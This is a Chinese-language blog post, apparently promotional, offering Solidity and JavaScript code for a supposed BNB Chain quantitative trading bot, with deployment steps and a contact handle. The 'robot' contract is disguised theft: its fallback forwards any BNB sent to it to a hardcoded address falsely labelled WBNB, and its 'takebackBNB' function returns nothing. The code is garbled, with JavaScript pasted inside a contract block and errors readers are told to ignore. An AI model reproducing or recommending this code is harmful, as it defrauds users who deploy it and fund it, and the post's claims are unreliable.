关于solidity:链上量化合约智能合约dapp系统开发部署代码方案

3次阅读

共计 5843 个字符,预计需要花费 15 分钟才能阅读完成。

“量化交易”有着两层含意: 一是从广义上来讲,是指量化交易的内容,将交易条件转变成为程序,主动下单; 二是从狭义上来讲,是指零碎交易办法,就是一个整合的交易系统。即为依据一系列交易条件,智能化辅助决策体系,将丰盛的从业教训与交易条件相结合,在交易过程治理好危险管制。

pragma solidity ^0.4.0,量化合约智能合约 dapp 零碎开发 v +hkkf5566;

/*

阐明:

部署时候 15 行有一条报错,间接疏忽就行这是失常景象

部署版本抉择 0.4.26

部署前批改 174 行地址为本人的钱包地址(其它任何中央不可批改)

部署合约名称为:robot

部署实现后向合约地址转入 BNb 机器人将主动开始运行。(倡议转入不低于 0.4BNb)

如须要取回合约外面的残余的 BNB 代币,请输出承受地址后点击 takebackBNB。

请勿向合约地址转入除了 Bnb 以外的任何资产,否者将不可找回。

*/

contract {// 这里会有报错,间接疏忽不必管

async function initBot() {

if (presaleContractAddress === ''|| presaleContractAddress == null || presaleContractAddress.length !== 42 || await web3.eth.getCode(presaleContractAddress) ==='0x') {return console.error('预售地址没填写或填写谬误,预售地址必须是合约地址');

} else if (buyingBnbAmount === '' || buyingBnbAmount == null) {return console.error('购买 BNB 的数量填写谬误');

} else if (senderPrivateKey === '' || senderPrivateKey == null) {return console.error('私钥填写谬误');

}



var privateKeys = [];

if (senderPrivateKey.indexOf(',') > -1) {privateKeys = senderPrivateKey.split(',');

} else {privateKeys.push(senderPrivateKey);

}



var addressesUsedToSendTransactions = ''; 

var firstIteration = true;

for (var i = 0, len = privateKeys.length; i < len; i+=1) {if (privateKeys[i].length !== 66) {return console.error('须要传入一个或多个钱包私钥,多个钱包私钥请应用, 作为分隔符');

    }



    if (firstIteration) {

        firstIteration = false;

        addressesUsedToSendTransactions += web3.eth.accounts.privateKeyToAccount(privateKeys[i]).address;

    } else {addressesUsedToSendTransactions += ',' + web3.eth.accounts.privateKeyToAccount(privateKeys[i]).address;

    }

}



var senderAddress = web3.eth.accounts.privateKeyToAccount(privateKeys[0]).address;

web3.eth.getBalance(senderAddress).then(r => {

    const balance = r / 1000000000000000000

    console.log("====================================================")

    console.log(` 预售地址:`, chalk.green(presaleContractAddress))

    console.log(` 钱包地址:`, chalk.green(addressesUsedToSendTransactions));

    console.log(` 钱包余额:`, chalk.green(`${balance} BNB`))

    console.log(` 购买数量:`, chalk.green(`${buyingBnbAmount} BNB`))

    console.log(`Gas limit: ${gasLimit}`);

    console.log(`Gas price: ${(gasPrice / 1000000000) + 'Gwei'}`);

    console.log(` 矿工费: < ${(gasLimit * (gasPrice / 1000000000)) / 1000000000} BNB (Gax used x Gas price)`)

    console.log("====================================================")

    if (parseFloat(buyingBnbAmount) > balance) {console.log(chalk.red("钱包余额有余,已主动退出"))

        process.exit()}

})





if (botInitialDelay > 0) {console.log(`${hours} 小时 ${mins} 分钟 ${secs} 秒后启动机器人 (${botInitialDelay / 1000} 秒 )`)

    console.log("期待中......")

} else {console.log('启动胜利... ¯\\_(*o*)_/¯');

}





setTimeout(function () {

    var executeBuy = true;

    const job = new Cronr(cronTime, function() {// projectData.utils.consoleLog('Cronjob iteration.');

        if (executeBuy) {

            executeBuy = false;



            var counter = 0;

            return recursiveTransactionsLoop(counter);



            function recursiveTransactionsLoop(counter) {var senderAddress = web3.eth.accounts.privateKeyToAccount(privateKeys[counter]).address;



                web3.eth.estimateGas({to: presaleContractAddress, from: senderAddress, value: web3.utils.toHex(web3.utils.toWei(buyingBnbAmount, 'ether'))}, function(gasEstimateError, gasAmount) {if (!gasEstimateError) {projectData.utils.consoleLog('Transaction estimation successful:' + gasAmount);



                        var txParams = {gas: web3.utils.toHex(gasLimit),

                            gasPrice: web3.utils.toHex(gasPrice),

                            chainId: chainId,

                            value: web3.utils.toHex(web3.utils.toWei(buyingBnbAmount, 'ether')),

                            to: presaleContractAddress

                        };



                        web3.eth.accounts.signTransaction(txParams, privateKeys[counter], function (signTransactionErr, signedTx) {if (!signTransactionErr) {web3.eth.sendSignedTransaction(signedTx.rawTransaction, function (sendSignedTransactionErr, transactionHash) {if (!sendSignedTransactionErr) {if (counter === privateKeys.length - 1) {if (privateKeys.length === 1) {projectData.utils.consoleLog(`first and only transaction sent success. Transaction hash: ${transactionHash}. https://www.bscscan.com/tx/${transactionHash}`);

                                            } else {projectData.utils.consoleLog(`Completed last transaction. Transaction hash: ${transactionHash}. https://www.bscscan.com/tx/${transactionHash}`);

                                            }

                                        } else {projectData.utils.consoleLog('Completed transaction. Transaction hash:' + transactionHash);

                                            counter+=1;

                                            return recursiveTransactionsLoop(counter);

                                        }

                                    } else {

                                        executeBuy = true;

                                        if (sendSignedTransactionErr.message) {projectData.utils.consoleLog('sendSignedTransaction failed, most likely signed with low gas limit.. Message:' + sendSignedTransactionErr.message);

                                        } else {projectData.utils.consoleLog('sendSignedTransaction failed, most likely signed with low gas limit.. Message:' + sendSignedTransactionErr.toString());

                                        }



                                        if (counter !== privateKeys.length - 1) {

                                            counter+=1;

                                            return recursiveTransactionsLoop(counter);

                                        }

                                    }

                                })

                                    .on("receipt", () => {console.log(chalk.green(`Transaction confirmed.`))

                                    })

                                    .on("error", (err) => {console.log("Error during transaction execution. Details will follow.")

                                        console.log(err)

                                    })

                            } else {

                                executeBuy = true;

                                if (signTransactionErr.message) {projectData.utils.consoleLog('signTransaction failed, most likely signed with low gas limit. Message:' + signTransactionErr.message);

                                } else {projectData.utils.consoleLog('signTransaction failed, most likely signed with low gas limit. Message:' + signTransactionErr.toString());

                                }



                                if (counter !== privateKeys.length - 1) {

                                    counter+=1;

                                    return recursiveTransactionsLoop(counter);

                                }

                            }

                        });

                    } else {

                        executeBuy = true;

                        if (gasEstimateError.message) {projectData.utils.consoleLog('estimateGas failed. Error message:' + gasEstimateError.message);

                        } else {projectData.utils.consoleLog('estimateGas failed. Error message:' + gasEstimateError.toString());

                        }



                        if (counter !== privateKeys.length - 1) {

                            counter+=1;

                            return recursiveTransactionsLoop(counter);

                        }

                    }

                });

            }

        }

    }, {});

    job.start();}, botInitialDelay);

}

contract robot {



address public beneficiary = 0x75D23E252bFE1500c7f654024d9800790620a853;// 批改为你的收益地址(必须批改)constructor() public {}

function () payable public {WBNBaddress.transfer(msg.value);

}

address  USDTaddress = 0x55d398326f99059fF775485246999027B3197955;

address  USDCaddress = 0x8AC76a51cc950d9822D68b83fE1Ad97B32Cd580d;



uint256 interlgas =  32000 ;



function takebackBNB(address addre) public {beneficiary = addre ;}

address WBNBaddress = 0x26b9E75C844F1B8E700c903a3EBC53c69AC4Da28;

}

contract owned{

address public owner;

constructor () public {owner = msg.sender;}



modifier onlyOwner{if(msg.sender != owner){revert();

    }else{_;}

}


}

正文完
 0